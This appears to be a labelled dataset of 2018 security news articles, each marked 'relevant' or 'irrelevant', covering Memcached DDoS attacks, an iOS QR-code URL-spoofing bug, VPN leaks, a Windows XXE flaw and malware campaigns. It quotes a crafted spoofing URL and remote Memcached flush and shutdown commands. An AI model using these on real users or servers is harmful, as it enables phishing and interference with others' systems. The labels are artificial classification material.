"1.7 Tbps DDoS Attack — ​Memcached UDP Reflections Set New Record The bar has been raised. As more amplified attacks were expected following the record-breaking 1.35 Tbps Github DDoS attack, someone has just set a new record after only four days — 1.7 Tbps DDoS attack. Network security and monitoring company Arbor Networks claims that its ATLAS global traffic and DDoS threat data system have recorded a 1.7Tbps reflection/amplification attack against one of its unnamed US-based customer's website. Similar to the last week's DDoS attack on GitHub, the massive bandwidth of the latest attack was amplified by a factor of 51,000 using thousands of misconfigured Memcached servers exposed on the Internet. Memcached, a popular open source distributed memory caching system, came into news earlier last week when researchers detailed how attackers could abuse it to launch amplification DDoS attack by sending a forged request to the targeted Memcached server on port 11211 using a spoofed IP address that matches the victim's IP. A few bytes of the request sent to the vulnerable server can trigger tens of thousands of times bigger response against the targeted IP address, resulting in a powerful DDoS attack. memcached-ddos-attack Meanwhile, researchers also noted that cybercriminals have started weaponizing the DDoS attacks through vulnerable memcached servers to extort money from victims. Following last week's 1.3 Tbps DDoS attack against GitHub, Akamai said its customers have been receiving extortion messages delivered alongside the typically ""junk-filled"" attack payloads, asking them for 50 XMR (Monero coins), valued at over $15,000. ""While the internet community is coming together to shut down access to the many open memcached servers out there, the sheer number of servers running memcached openly will make this a lasting vulnerability that attackers will exploit,"" Arbor Networks said in a blog post. Reflection/amplification attacks are not new. Attackers have previously used reflection/amplification DDoS attack techniques to exploit flaws in DNS, NTP, SNMP, SSDP, CLDAP, Chargen and other protocols in an attempt to maximize the scale of their cyber attacks. However, the latest attack vector involves thousands of misconfigured Memcached servers, many of which are still exposed on the Internet and could be exploited to launch potentially more massive attacks soon against other targets. So expect to see more such attacks in coming days. To prevent Memcached servers from being abused as reflectors, we urge users to install a firewall that should provide access to memcached servers only from the local network. Administrators should also consider avoiding external traffic to the ports used by memcached (for example 11211 port used by default), and block or rate-limiting UDP or completely disable UDP support if not in use.",irrelevant
"Facebook Collected Your Android Call History and SMS Data For Years Facebook knows a lot about you, your likes and dislikes—it's no surprise. But do you know, if you have installed Facebook Messenger app on your Android device, there are chances that the company had been collecting your contacts, SMS, and call history data at least until late last year. A tweet from Dylan McKay, a New Zealand-based programmer, which received more than 38,000 retweets (at the time of writing), showed how he found his year-old data—including complete logs of incoming and outgoing calls and SMS messages—in an archive he downloaded (as a ZIP file) from Facebook. Facebook was collecting this data on its users from last few years, which was even reported earlier in media, but the story did not get much attention at that time. Since Facebook had been embroiled into controversies over its data sharing practices after the Cambridge Analytica scandal last week, tweets from McKay went viral and has now fueled the never-ending privacy debate. A Facebook spokesperson explained, since almost all social networking sites have been designed to make it easier for users to connect with their friends and family members, Facebook also uploads its users' contacts to offer same. As Ars reported, in older versions of Android when permissions were a lot less strict, the Facebook app took away contact permission at the time of installation that allowed the company access to call and message data automatically. Eventually, Google changed the way Android permissions worked in version 16 of its API, making them more clear and granular by informing users whenever any app tries to execute permissions. However, developers were able to bypass this change, and Facebook continued accessing call and SMS data until Google deprecated version 4.0 of the Android API in October last year. Even you can check what data the social network has collected on you so far by going to your Facebook's Settings→Download a copy of your Facebook data→Start My Archive. If you don't want Facebook to store or continuously upload your contacts to its server, you can turn off the continuous uploading setting in the Messenger app. This change will also delete all your previously uploaded contacts. Facebook users on Apple devices are on the safer side, as iOS has never allowed silent access to call data.",irrelevant
"QR Code Bug in Apple iOS 11 Could Lead You to Malicious Sites A new vulnerability has been disclosed in iOS Camera App that could be exploited to redirect users to a malicious website without their knowledge. The vulnerability affects Apple's latest iOS 11 mobile operating system for iPhone, iPad, and iPod touch devices and resides in the built-in QR code reader. With iOS 11, Apple introduced a new feature that gives users ability to automatically read QR codes using their iPhone's native camera app without requiring any third-party QR code reader app. You need to open the Camera app on your iPhone or iPad and point the device at a QR code. If the code contains any URL, it will give you a notification with the link address, asking you to tap to visit it in Safari browser. However, be careful — you may not be visiting the URL displayed to you, security researcher Roman Mueller discovered. According to Mueller, the URL parser of built-in QR code reader for iOS camera app fails to detect the hostname in the URL, which allows attackers to manipulate the displayed URL in the notification, tricking users to visit malicious websites instead. ios-qr-code-camera For the demo, the researcher created a QR code (shown above) with the following URL: https://xxx\@facebook.com:443@infosec.rm-it.de/ If you scan it with the iOS camera app, it will show following notification: Open ""facebook.com"" in Safari When you tap it to open the site, it will instead open: https://infosec.rm-it.de/ I have tested the vulnerability, as shown in the screenshot above, on my iPhone X running iOS 11.2.6 and it worked. QR (Quick Response) code is a quick and convenient way to share information, but the issue becomes particularly more dangerous when users rely on QR codes for making quick payments or opening banking websites, where they might end up giving their login credentials away to phishing websites. The researcher had already reported this flaw to Apple in December last year, but Apple hasn't yet fixed the bug to the date.",relevant
"U.S. Charges 9 Iranians With Hacking Universities to Steal Research Data The United States Department of Justice has announced criminal charges and sanctions against 9 Iranians involved in hacking universities, tech companies, and government organisations worldwide to steal scientific research resources and academic papers. According to the FBI officials, the individuals are connected to the Mabna Institute, an Iran-based company created in 2013 whose members were allegedly hired by the Iranian government for gathering intelligence. Though the content of the papers is not yet known, investigators believe it might have helped Iranian scientists to develop nuclear weapons. In past four years, the state-sponsored hacking group has allegedly infiltrated more than 320 universities in 22 countries—144 of which were in the United States—and stolen over 30 terabytes of academic data and intellectual property. The group used spear-phishing attacks to target more than 100,000 e-mail accounts and computer systems of the professors around the world, and successfully compromised 7,998 of those accounts till last December—3,768 of them at US universities. hacking-news ""Their primary goal was to obtain usernames and passwords for the accounts of professors so they could gain unauthorized access and steal whatever kind of proprietary academic information they could get their hands on,"" said the FBI agent who investigated the case. According to the indictment unsealed today in a Manhattan federal court, Mabna Institute also shared stolen credentials with the Islamic Revolutionary Guard Corps (IRGC)—a branch of Iran's Armed Forces responsible for gathering intelligence. The group then exfiltrated the academic data and sold the content via Megapaper.ir and Gigapaper.ir, Iranian websites ""where customers could access the online library systems of the hacked universities."" Following are the names and roles of the nine Iranians who were charged by the U.S. federal court: Gholamreza Rafatnejad — one of the founding members of the Mabna Institute. Ehsan Mohammadi — another founding member of the Mabna Institute and responsible for organising hacking campaign along with Rafatnejad. Seyed Ali Mirkarimi — a hacker and Mabna Institute contractor, who was engaged in crafting and sending malicious spear phishing emails to steal credentials belonging to university professors. Mostafa Sadeghi — another hacker working with the Mabna Institute, who allegedly compromised more than 1,000 university professors' accounts and exchanged their credentials with Iranian partners. Sajjad Tahmasebi — a Mabna Institute contractor who was maintaining the list of stolen credentials and helped other hackers in reconnaissance process in order to prepare the list of targeted universities and professors to facilitate the spear phishing campaign. Abdollah Karima — a businessman who owned and operated a website to sell stolen academic materials online. Abuzar Gohari Moqadam — an Iranian professor who exchanged stolen credentials for compromised accounts with Mabna Institute founders. Roozbeh Sabahi — another contractor for the Mabna Institute. Mohammed Reza Sabahi — another Mabna Institute contractor, who assisted in making the lists of targeted university professors and academic databases. ""Although it is difficult to calculate a dollar loss amount, through the course of the conspiracy, U.S.-based universities spent approximately $3.4 billion to procure and access data that the Iranians accessed for free because of their criminal activity,"" FBI said. Targeted countries include Japan, China, Australia, Canada, Denmark, Finland, Germany, Ireland, Israel, Italy, Malaysia, the Netherlands, Norway, Poland, Singapore, South Korea, Spain, Sweden, Switzerland, Turkey, and the United Kingdom. The US also imposes sanctions on ""Game of Thrones"" hacker Besides these 9 Iranian hackers, the U.S. Department of Treasury has also charged a 10th Iranian hacker, named Behzad Mesri, in connection with cyber attacks against HBO and with leaking ""Game of Thrones"" episodes last summer. According to the authorities, Mesri compromised multiple user accounts belonging to HBO in order to ""repeatedly gain unauthorized access to the company's computer servers and steal valuable stolen data including confidential and proprietary information, financial documents, and employee contact information."" Mesri then attempted to extort HBO for $6 million to delete the stolen data.",irrelevant
"Russian Hacker Who Allegedly Hacked LinkedIn and Dropbox Extradited to US A Russian man accused of hacking LinkedIn, Dropbox, and Formspring in 2012 and possibly compromising personal details of over 100 million users, has pleaded not guilty in a U.S. federal court after being extradited from the Czech Republic. Yevgeniy Aleksandrovich Nikulin, 30, of Moscow was arrested in Prague on October 5, 2016, by Interpol agents working in collaboration with the FBI, but he was recently extradited to the United States from the Czech Republic on Thursday for his first appearance in federal court. Nikulin's arrest started an extradition battle between the United States and Russia, where he faces significantly lesser criminal charges of stealing $3,450 via Webmoney in 2009. But the Czech Republic ruled in favor of the United States. In the U.S., Nikulin is facing: 3 counts of computer intrusion 2 counts of intentional transmission of information, code, or command causing damage to a protected computer 2 counts of aggravated identity theft 1 count of trafficking in unauthorized access devices 1 count of conspiracy According to the maximum penalties for each count, Nikulin faces a maximum of 32 years in prison and a massive fine of more than $1 Million. The U.S. Justice Department accused Nikulin of allegedly hacking into computers belonging to three American social media firms, including LinkedIn, the online cloud storage platform Dropbox and now-defunct social-networking firm Formspring. Nikulin reportedly gained access to LinkedIn's network between March 3 and March 4, 2012, Dropbox between May 14 and July 25, 2012, and Formspring between June 13 and June 29, 2012. The hacker allegedly stole accounts of more than 117 Million LinkedIn users and more than 68 Million Dropbox users. Authorities also say that after stealing data from the three companies, Nikulin worked with unnamed co-conspirators to sell the stolen data. Besides hacking into the three social media firms, the Justice Department also accused Nikulin of allegedly gaining access to credentials belonging to LinkedIn and Formspring employees, which helped him carry out the computer hacks. Nikulin appeared in Federal District Court in San Francisco on Friday and pleaded not guilty to the charges against him, the New York times reported. ""This is deeply troubling behavior once again emanating from Russia,"" said Attorney General Jeff Sessions in a statement. ""We will not tolerate criminal cyber-attacks and will make it a priority to investigate and prosecute these crimes, regardless of the country where they originate."" Judge Jacqueline Scott Corley scheduled Nikulin's next court appearance for status on April 2, 2018, and scheduled a detention hearing for April 4, 2018.",irrelevant
"Over 15,000 Memcached DDoS Attacks Hit 7,100 Sites in Last 10 Days Memcached reflections that recently fueled two most largest amplification DDoS attacks in the history have also helped other cybercriminals launch nearly 15,000 cyber attacks against 7,131 unique targets in last ten days, a new report revealed. Chinese Qihoo 360's Netlab, whose global DDoS monitoring service 'DDosMon' initially spotted the Memcached-based DDoS attacks, has published a blog post detailing some new statistics about the victims and sources of these attacks. The list of famous online services and websites which were hit by massive DDoS attacks since 24th February includes Google, Amazon, QQ.com, 360.com, PlayStation, OVH Hosting, VirusTotal, Comodo, GitHub (1.35 Tbps attack), Royal Bank, Minecraft and RockStar games, Avast, Kaspersky, PornHub, Epoch Times newspaper, and Pinterest. Overall, the victims are mainly based in the United States, China, Hong Kong, South Korea, Brazil, France, Germany, the United Kingdom, Canada, and the Netherlands. Memcached DDoS Attacks According to Netlab researchers, the frequency of attacks since 24th February has increased dramatically, as listed below: Before 24th February, the day when Memcached-based DDoS attacks were first spotted, the daily average was less than 50 attacks. Between 24th and 28th February, when Memcached as a new amplification attack vector was not publicly disclosed and known to a small group of people, the attacks raised to an average of 372 attacks per day. Soon after the first public report came on 27th February, between 1st and 8th March, the total number of attacks jumped to 13,027, with an average of 1,628 DDoS attack events per day. Netlab's 360 0kee team initially discovered the Memcached vulnerability in June 2017 and disclosed (presentation) it in November 2017 at a conference, but its researchers have hardly seen any Memcache DDoS attacks since then. The maximum number of active vulnerable Memcached servers at a time that participated in the DRDoS attacks was 20,612. I don't want to exaggerate this but expect hundreds of thousands of Memcached-based DDoS attacks in coming days, as hackers and researchers have now released multiple easy-to-execute exploits that could allow anyone to launch Memcached amplification attacks. However, researchers have also discovered a 'kill-switch' technique that could help victims mitigate Memcached DDoS attacks efficiently. Despite multiple warnings, over 12,000 vulnerable Memcached servers with UDP support enabled are still exposed on the Internet, which could fuel more cyber attacks. Therefore, server administrators are strongly advised to install the latest Memcached 1.5.6 version which disables UDP protocol by default to prevent amplification/reflection DDoS attacks.",relevant
"Memcached DDoS Exploit Code and List of 17,000 Vulnerable Servers Released Two separate proofs-of-concept (PoC) exploit code for Memcached amplification attack have been released online that could allow even script-kiddies to launch massive DDoS attacks using UDP reflections easily. The first DDoS tool is written in C programming language and works with a pre-compiled list of vulnerable Memcached servers. Bonus—its description already includes a list of nearly 17,000 potential vulnerable Memcached servers left exposed on the Internet. Whereas, the second Memcached DDoS attack tool is written in Python that uses Shodan search engine API to obtain a fresh list of vulnerable Memcached servers and then sends spoofed source UDP packets to each server. Last week we saw two record-breaking DDoS attacks—1.35 Tbps hit Github and 1.7 Tbps attack against an unnamed US-based company—which were carried out using a technique called amplification/reflection attack. For those unaware, Memcached-based amplification/reflection attack amplifies bandwidth of the DDoS attacks by a factor of 51,000 by exploiting thousands of misconfigured Memcached servers left exposed on the Internet. Memcached is a popular open source distributed memory caching system, which came into news earlier last week when researchers detailed how hackers could abuse it to launch amplification/reflection DDoS attack by sending a forged request to the targeted Memcached server on port 11211 using a spoofed IP address that matches the victim's IP. A few bytes of the request sent to the vulnerable Memcached server can trigger tens of thousands of times bigger response against the targeted IP address, resulting in a powerful DDoS attack. memcached-amplification-ddos-attack-tool For a detailed explanation on how Memcached amplification attack works, you can head on to our previous article. Since last week when Memcached has been revealed as a new amplification/reflection attack vector, some hacking groups started exploiting unsecured Memcached servers. But now the situation will get worse with the release of PoC exploit code, allowing anyone to launch massive DDoS attacks, and will not come under control until the last vulnerable Memcached server is patched, or firewalled on port 11211, or completely taken offline. Moreover, cybercriminals groups have already started weaponizing this new DDoS technique to threaten big websites for extorting money. Following last week's DDoS attack on GitHub, Akamai reported its customers received extortion messages delivered alongside the typically ""junk-filled"" attack payloads, asking them for 50 XMR (Monero coins), valued at over $15,000. Reflection/amplification attacks are not new. Attackers have previously used this DDoS attack technique to exploit flaws in DNS, NTP, SNMP, SSDP, Chargen and other protocols in order to maximize the scale of their cyber attacks. To mitigate the attack and prevent Memcached servers from being abused as reflectors, the best option is to bind Memcached to a local interface only or entirely disable UDP support if not in use.",relevant
"Kill Switch' to Mitigate Memcached DDoS Attacks — Flush 'Em All Security researchers have discovered a ""kill switch"" that could help companies protect their websites under massive DDoS attack launched using vulnerable Memcached servers. Massive Memcached reflection DDoS attacks with an unprecedented amplification factor of 50,000 recently resulted in some of the largest DDoS attacks in history. To make matter even worse, someone released proof-of-concept (PoC) exploit code for Memcached amplification attack yesterday, making it easier for even script kiddies to launch massive cyber attacks. Despite multiple warnings, more than 12,000 vulnerable Memcached servers with UDP support enabled are still accessible on the Internet, which could fuel more cyber attacks soon. However, the good news is that researchers from Corero Network Security found a technique using which DDoS victims can send back a simple command, i.e., ""shutdown\r\n"", or ""flush_all\r\n"", in a loop to the attacking Memcached servers in order to prevent amplification. Where, the flush_all command simply flush the content (all keys and their values) stored in the cache, without restarting the Memcached server. The company said its kill-switch has efficiently been tested on live attacking Memcached servers and found to be 100% effective, and has already been disclosed to national security agencies. Based on this finding, security researcher Amir Khashayar Mohammadi—who focuses on malware analysis, cryptanalysis, web exploitation, and other cyber attack vectors—has created and released a simple DDoS mitigation tool, dubbed Memfixed, that sends flush or shutdown commands to the vulnerable Memcached servers. Written in Python, Memfixed automatically obtains a list of vulnerable Memcached servers using Shodan API to trigger shutdown/flush commands. Stealing Sensitive Data From Memcached Servers What's more? Corero Researchers also claimed that the Memcached vulnerability (CVE-2018-1000115) is more extensive than initially reported, and can be exploited beyond leveraging it for a DDoS attack. Without revealing any technical detail, the company said the Memcached vulnerability could also be exploited by remote attackers to steal or modify data from the vulnerable Memcached servers by issuing a simple debug command. Dynamic database-driven websites use a Memcached application to improve their performance by caching data and objects in the RAM. Since Memcached has been designed to be used without logins or passwords, attackers can remotely steal sensitive user data it has cached from its local network or host without requiring any authentication. The data may include confidential database records, emails, website customer information, API data, Hadoop information and more. ""By using a simple debug command, hackers can reveal the 'keys' to your data and retrieve the owner's data from the other side of the world,"" the company said. ""Additionally, it is also possible to maliciously modify the data and re-insert it into the cache without the knowledge of the Memcached owner."" Server administrators are strongly advised to install the latest Memcached 1.5.6 version which disables UDP protocol by default to prevent amplification/reflection DDoS attacks.",relevant
"APT Hackers Infect Routers to Covertly Implant Slingshot Spying Malware Security researchers at Kaspersky have identified a sophisticated APT hacking group that has been operating since at least 2012 without being noticed due to their complex and clever hacking techniques. The hacking group used a piece of advanced malware—dubbed Slingshot—to infect hundreds of thousands of victims in the Middle East and Africa by hacking into their routers. According to a 25-page report published [PDF] by Kaspersky Labs, the group exploited unknown vulnerabilities in routers from a Latvian network hardware provider Mikrotik as its first-stage infection vector in order to covertly plant its spyware into victims' computers. Although it is unclear how the group managed to compromise the routers at the first place, Kaspersky pointed towards WikiLeaks Vault 7 CIA Leaks, which revealed the ChimayRed exploit, now available on GitHub, to compromise Mikrotik routers. Once the router is compromised, the attackers replace one of its DDL (dynamic link libraries) file with a malicious one from the file-system, which loads directly into the victim's computer memory when the user runs Winbox Loader software. Slingshot-apt-malware Winbox Loader is a legitimate management tool designed by Mikrotik for Windows users to easily configure their routers that downloads some DLL files from the router and execute them on a system. This way the malicious DLL file runs on the targeted computer and connects to a remote server to download the final payload, i.e., Slingshot malware. Slingshot malware includes two modules—Cahnadr (a kernel mode module) and GollumApp (a user mode module), designed for information gathering, persistence and data exfiltration. Cahnadr module, aka NDriver, takes care of anti-debugging, rootkit and sniffing functionality, injecting other modules, network communications—basically all the capabilities required by user-mode modules. ""[Cahnadr is a] kernel-mode program is able to execute malicious code without crashing the whole file system or causing Blue Screen—a remarkable achievement,"" Kaspersky says in its blog post published today. ""Written in pure C language, Canhadr/Ndriver provides full access to the hard drive and operating memory despite device security restrictions, and carries out integrity control of various system components to avoid debugging and security detection."" Whereas GollumApp is the most sophisticated module which has a wide range of spying functionalities that allow attackers to capture screenshots, collect network-related information, passwords saved in web browsers, all pressed keys, and maintains communication with remote command-and-control servers. Slingshot-malware Since GollumApp runs in kernel mode and can also run new processes with SYSTEM privileges, the malware gives attackers full control of the infected systems. Although Kaspersky has not attributed this group to any country but based on clever techniques it used and limited targets, the security firm concluded that it is definitely a highly skilled and English-speaking state-sponsored hacking group. ""Slingshot is very complex, and the developers behind it have clearly spent a great deal of time and money on its creation. Its infection vector is remarkable—and, to the best of our knowledge, unique,"" the researchers say. The victims include most of the times individuals and some government organizations across various countries including Kenya, Yemen, Libya, Afghanistan, Iraq, Tanzania, Jordan, Mauritius, Somalia, the Democratic Republic of the Congo, Turkey, Sudan and the United Arab Emirates.",irrelevant
"Warning – 3 Popular VPN Services Are Leaking Your IP Address Researchers found critical vulnerabilities in three popular VPN services that could leak users' real IP addresses and other sensitive data. VPN, or Virtual Private Network, is a great way to protect your daily online activities that work by encrypting your data and boosting security, as well as useful to obscure your actual IP address. While some choose VPN services for online anonymity and data security, one major reason many people use VPN is to hide their real IP addresses to bypass online censorship and access websites that are blocked by their ISPs. But what if when the VPN you thought is protecting your privacy is actually leaking your sensitive data and real location? A team of three ethical hackers hired by privacy advocate firm VPN Mentor revealed that three popular VPN service providers—HotSpot Shield, PureVPN, and Zenmate—with millions of customers worldwide were found vulnerable to flaws that could compromise user's privacy. The team includes application security researcher Paulos Yibelo, an ethical hacker known by his alias 'File Descriptor' and works for Cure53, and whereas, the identity of third one has not been revealed on demand. PureVPN is the same company who lied to have a 'no log' policy, but a few months ago helped the FBI with logs that lead to the arrest of a Massachusetts man in a cyberstalking case. After a series of privacy tests on the three VPN services, the team found that all three VPN services are leaking their users' real IP addresses, which can be used to identify individual users and their actual location. Concerning consequences for end users, VPN Mentor explains that the vulnerabilities could ""allow governments, hostile organizations [sic], or individuals to identify the actual IP address of a user, even with the use of the VPNs."" The issues in ZenMate and PureVPN have not been disclosed since they haven't yet patched, while VPN Mentor says the issues discovered in ZenMate VPN were less severe than HotSpot Shield and PureVPN. The team found three separate vulnerabilities in AnchorFree's HotSpot Shield, which have been fixed by the company. Here's the list: Hijack all traffic (CVE-2018-7879) — This vulnerability resided in Hotspot Shield's Chrome extension and could have allowed remote hackers to hijack and redirect victim's web traffic to a malicious site. DNS leak (CVE-2018-7878) — DNS leak flaw in Hotspot Shield exposed users' original IP address to the DNS server, allowing ISPs to monitor and record their online activities. Real IP Address leak (CVE-2018-7880) — This flaw poses a privacy threat to users since hackers can track user's real location and the ISP. the issue occurred because the extension had a loose whitelist for ""direct connection."" Researchers found that any domain with localhost, e.g., localhost.foo.bar.com, and 'type=a1fproxyspeedtest' in the URL bypass the proxy and leaks real IP address. Here it must be noted that all the three vulnerabilities were in the HotSpot Shield's free Chrome plug-in, not in the desktop or smartphone apps. The researchers also reported similar vulnerabilities in the Chrome plugins of Zenmate and PureVPN, but for now, the details of the bugs are being kept under wraps since both the manufacturers have not yet fixed them. Researchers believe that most other VPN services also suffer from similar issues.",relevant
"Windows Remote Assistance Exploit Lets Hackers Steal Sensitive Files You have always been warned not to share remote access to your computer with untrusted people for any reason—it's a basic cybersecurity advice, and common sense, right? But what if, I say you should not even trust anyone who invites or offer you full remote access to their computers. A critical vulnerability has been discovered in Microsoft's Windows Remote Assistance (Quick Assist) feature that affects all versions of Windows to date, including Windows 10, 8.1, RT 8.1, and 7, and allows remote attackers to steal sensitive files on the targeted machine. Windows Remote Assistance is a built-in tool that allows someone you trust to take over your PC (or you to take remote control of others) so they can help you fix a problem from anywhere around the world. The feature relies on the Remote Desktop Protocol (RDP) to establish a secure connection with the person in need. However, Nabeel Ahmed of Trend Micro Zero Day Initiative discovered and reported an information disclosure vulnerability (CVE-2018-0878) in Windows Remote Assistance that could allow attackers to obtain information to further compromise the victim's system. The vulnerability, which has been fixed by the company in this month's patch Tuesday, resides in the way Windows Remote Assistance processes XML External Entities (XXE). The vulnerability affects Microsoft Windows Server 2016, Windows Server 2012 and R2, Windows Server 2008 SP2 and R2 SP1, Windows 10 (both 32- and 64-bit), Windows 8.1 (both 32- and 64-bit) and RT 8.1, and Windows 7 (both 32- and 64-bit). Exploiting Windows Remote Assistance to Steal Files Windows-Remote-Assistance Since a security patch for this vulnerability is now available, the researcher has finally released technical details and proof-of-concept exploit code for the flaw to the public. In order to exploit this flaw, which resides in MSXML3 parser, the hacker needs to use ""Out-of-Band Data Retrieval"" attack technique by offering the victim access to his/her computer via Windows Remote Assistance. While setting up Windows Remote Assistance, the feature gives you two options—Invite someone to help you and Respond to someone who needs help. Selecting the first option helps users generate an invitation file, i.e. 'invitation.msrcincident,' which contains XML data with a lot of parameters and values required for authentication. Windows Remote Assistance Exploit Since the parser does not properly validate the content, the attacker can simply send a specially crafted Remote Assistance invitation file containing a malicious payload to the victim, tricking the targeted computer to submit the content of specific files from known locations to a remote server controlled by the attackers. ""The stolen information could be submitted as part of the URL in HTTP request(s) to the attacker. In all cases, an attacker would have no way to force a user to view the attacker-controlled content. Instead, an attacker would have to convince a user to take action,"" Microsoft explains. ""This XXE vulnerability can be genuinely used in mass scale phishing attacks targeting individuals believing they are truly helping another individual with an IT problem. Totally unaware that the .msrcincident invitation file could potentially result in loss of sensitive information,"" Ahmed warns. Among patching other critical vulnerabilities fixed this month, Windows users are highly recommended to install the latest update for Windows Remote Assistance as soon as possible.",relevant
"Trojanized BitTorrent Software Update Hijacked 400,000 PCs Last Week A massive malware outbreak that last week infected nearly half a million computers with cryptocurrency mining malware in just a few hours was caused by a backdoored version of popular BitTorrent client called MediaGet. Dubbed Dofoil (also known as Smoke Loader), the malware was found dropping a cryptocurrency miner program as payload on infected Windows computers that mine Electroneum digital coins for attackers using victims' CPU cycles. Dofoil campaign that hit PCs in Russia, Turkey, and Ukraine on 6th March was discovered by Microsoft Windows Defender research department and blocked the attack before it could have done any severe damages. At the time when Windows Defender researchers detected this attack, they did not mention how the malware was delivered to such a massive audience in just 12 hours. However, after investigation Microsoft today revealed that the attackers targeted the update mechanism of MediaGet BitTorrent software to push its trojanized version (mediaget.exe) to users' computers. ""A signed mediaget.exe downloads an update.exe program and runs it on the machine to install a new mediaget.exe. The new mediaget.exe program has the same functionality as the original but with additional backdoor capability,"" the researchers explain in a blog post published today. Researchers believe MediaGet that signed update.exe is likely to be a victim of the supply chain attack, similar to CCleaner hack that infected over 2.3 million users with the backdoored version of the software in September 2017. malware-attack Also, in this case, the attackers signed the poisoned update.exe with a different certificate and successfully passed the validation required by the legitimate MediaGet. ""The dropped update.exe is a packaged InnoSetup SFX which has an embedded trojanized mediaget.exe, update.exe. When run, it drops a trojanized unsigned version of mediaget.exe."" Once updated, the malicious BitTorrent software with additional backdoor functionality randomly connects to one (out of four) of its command-and-control (C&C) servers hosted on decentralized Namecoin network infrastructure and listens for new commands. It then immediately downloads CoinMiner component from its C&C server, and start using victims' computers mine cryptocurrencies for the attackers. Using C&C servers, attackers can also command infected systems to download and install additional malware from a remote URL. The researchers found that the trojanized BitTorrent client, detected by Windows Defender AV as Trojan:Win32/Modimer.A, has 98% similarity to the original MediaGet binary. Microsoft says behavior monitoring and AI-based machine learning techniques used by its Windows Defender Antivirus software have played an important role to detect and block this massive malware campaign.",relevant
"Over 20 Million Users Installed Malicious Ad Blockers From Chrome Store If you have installed any of the below-mentioned Ad blocker extension in your Chrome browser, you could have been hacked. A security researcher has spotted five malicious ad blockers extension in the Google Chrome Store that had already been installed by at least 20 million users. Unfortunately, malicious browser extensions are nothing new. They often have access to everything you do online and could allow its creators to steal any information victims enter into any website they visit, including passwords, web browsing history and credit card details. Discovered by Andrey Meshkov, co-founder of Adguard, these five malicious extensions are copycat versions of some legitimate, well-known Ad Blockers. Creators of these extensions also used popular keywords in their names and descriptions to rank top in the search results, increasing the possibility of getting more users to download them. ""All the extensions I've highlighted are simple rip-offs with a few lines of code and some analytics code added by the authors,"" Meshkov says. malware-adblocker-chrome After Meshkov reported his findings to Google on Tuesday, the tech giant immediately removed all of the following mentioned malicious ad blockers extension from its Chrome Store: AdRemover for Google Chrome™ (10 million+ users) uBlock Plus (8 million+ users) [Fake] Adblock Pro (2 million+ users) HD for YouTube™ (400,000+ users) Webutation (30,000+ users) Meshkov downloaded the 'AdRemover' extension for Chrome, and after analyzing it, he discovered that malicious code hidden inside the modified version of jQuery, a well-known JavaScript library, sends information about some websites a user visits back to a remote server. Also Read: Someone Hijacks A Popular Chrome Extension to Push Malware The malicious extension then receives commands from the remote server, which are executed in the extension 'background page' and can change your browser's behavior in any way. To avoid detection, these commands send by the remote server are hidden inside a harmless-looking image. ""These commands are scripts which are then executed in the privileged context (extension's background page) and can change your browser behavior in any way,"" Meshkov says. ""Basically, this is a botnet composed of browsers infected with the fake Adblock extensions,"" Meshkov says. ""The browser will do whatever the command center server owner orders it to do."" The researcher also analyzed other extensions on the Chrome Store and found four more extensions using similar tactics. Also Read: Malicious Chrome Extension Hijacks CryptoCurrencies and Wallets Since browser extension takes permission to access to all the web pages you visit, it can do practically anything. So, you are advised to install as few extensions as possible and only from companies you trust.",relevant
"Cybercriminals Hijack Router DNS to Distribute Android Banking Trojan Security researchers have been warning about an ongoing malware campaign hijacking Internet routers to distribute Android banking malware that steals users' sensitive information, login credentials and the secret code for two-factor authentication. In order to trick victims into installing the Android malware, dubbed Roaming Mantis, hackers have been hijacking DNS settings on vulnerable and poorly secured routers. DNS hijacking attack allows hackers to intercept traffic, inject rogue ads on web-pages and redirect users to phishing pages designed to trick them into sharing their sensitive information like login credentials, bank account details, and more. Hijacking routers' DNS for a malicious purpose is not new. Previously we reported about widespread DNSChanger and Switcher—both the malware worked by changing the DNS settings of the wireless routers to redirect traffic to malicious websites controlled by attackers. Discovered by security researchers at Kaspersky Lab, the new malware campaign has primarily been targeting users in Asian countries, including South Korea, China Bangladesh, and Japan, since February this year. Once modified, the rogue DNS settings configured by hackers redirect victims to fake versions of legitimate websites they try to visit and displays a pop-up warning message, which says—""To better experience the browsing, update to the latest chrome version."" android-dns-hijack-banking-malware It then downloads the Roaming Mantis malware app masquerading as Chrome browser app for Android, which takes permission to collect device' account information, manage SMS/MMS and making calls, record audio, control external storage, check packages, work with file systems, draw overlay windows and so on. ""The redirection led to the installation of Trojanized applications named facebook.apk and chrome.apk that contained Android Trojan-Banker."" If installed, the malicious app overlays all other windows immediately to show a fake warning message (in broken English), which reads, ""Account No.exists risks, use after certification."" Roaming Mantis then starts a local web server on the device and launches the web browser to open a fake version of Google website, asking users to fill up their names and date of births. android-dns-hijack-banking-malware To convince users into believing that they are handing over this information to Google itself, the fake page displays users' Gmail email ID configured on their infected Android device, as shown in the screenshots. ""After the user enters their name and date of birth, the browser is redirected to a blank page at https://127.0.0.1:${random_port}/submit,"" researchers said. ""Just like the distribution page, the malware supports four locales: Korean, Traditional Chinese, Japanese and English."" Since Roaming Mantis malware app has already gained permission to read and write SMS on the device, it allows attackers to steal the secret verification code for the two-factor authentication for victims' accounts. While analysing the malware code, Researchers found reference to popular South Korean mobile banking and gaming applications, as well as a function that tries to detect if the infected device is rooted. ""For attackers, this may indicate that a device is owned by an advanced Android user (a signal to stop messing with the device) or, alternatively, a chance to leverage root access to gain access to the whole system,"" the researchers said. What's interesting about this malware is that it uses one of the leading Chinese social media websites (my.tv.sohu.com) as its command-and-control server and sends commands to infected devices just via updating the attacker-controlled user profiles. chinese-android-malware According to Kaspersky's Telemetry data, the Roaming Mantis malware was detected more than 6,000 times, though the reports came from just 150 unique users. You are advised to ensure your router is running the latest version of the firmware and protected with a strong password. You should also disable router's remote administration feature and hardcode a trusted DNS server into the operating system network settings.",relevant
